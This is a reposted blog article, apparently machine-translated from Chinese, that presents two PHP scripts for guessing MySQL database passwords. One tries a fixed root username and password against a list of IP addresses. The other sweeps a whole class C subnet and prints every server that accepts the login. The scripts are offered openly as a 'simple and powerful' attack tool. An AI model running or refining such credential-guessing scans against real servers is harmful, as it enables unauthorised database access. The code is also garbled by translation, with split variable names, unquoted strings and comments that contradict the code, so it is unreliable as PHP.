MySQL database password guessing script PHP version. From: angelsBlogSourceURL: www. sablog. netblogarchives479 I visited the Internet just now. I accidentally saw this program on the blog of small A (angel). It was very simple and powerful!
From: angels Blog Source URL:Http://www.sablog.net/blog/archives/479/
The program I saw on the blog of small A (angel) was very simple and powerful! Haha !~ PHP is used for implementation. I added code comments on the basis of his writing, so that it is easy for friends who do not understand PHP to understand. I don't need to talk about anything nonsense and go to the code!
// Execute the following PHP script to guess if Port 3306 is enabled on the specified database server.
Code-1:
$ Hostdb = array (
192.168.168.10,
192.168.168.20,
192.168.168.20,
192.168.168.40,
192.168.168.50,
192.168.168.60,
192.168.168.70,
192.168.168.80,
192.168.168.90,
192.168.168.100
); // Place these IP addresses in a predefined array.
$ Dbu = root; // This is the pre-defined database username
$ Dbp = 1qaz2wsx; // This is the password of the pre-defined database.
Foreach ($ hostdb as $ host) {// use foreach to traverse the pre-defined array
If (@ mysql_connect ($ host, $ dbu, $ dbp )){
Echo $ host.-. $ dbu.-. $ dbp... OK
; // Print out the pre-defined username and password
}
}
Echo done .;
?>
// The following code scans the specified IP address segment.
Code-2:
$ Ips = 192.168.168.; // The pre-defined CIDR block is CIDR block C.
$ Dbu = root; // pre-defined user name
$ Dbp = 1qaz2wsx; // pre-defined password
For ($ I = 1; $ I <254; $ I ++) {// Set the for loop, accumulate one by one on the basis of 192.168.1.1 until 192.168.1.254
If (@ mysql_connect ($ ips. $ I, $ dbu, $ dbp) {// try to connect to it
Echo $ ips. $ I.-. $ dbu.-. $ dbp... OK
; // Print out if the connection is successful
}
}
Echo done .;
?>
Http://www.bkjia.com/PHPjc/508455.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/508455.htmlTechArticleFrom:angels Blog Source URL: http://www.sablog.net/blog/archives/479/ just visit the Internet blind, inadvertently in the small A (angel) Blog saw this program, write very simple and powerful !...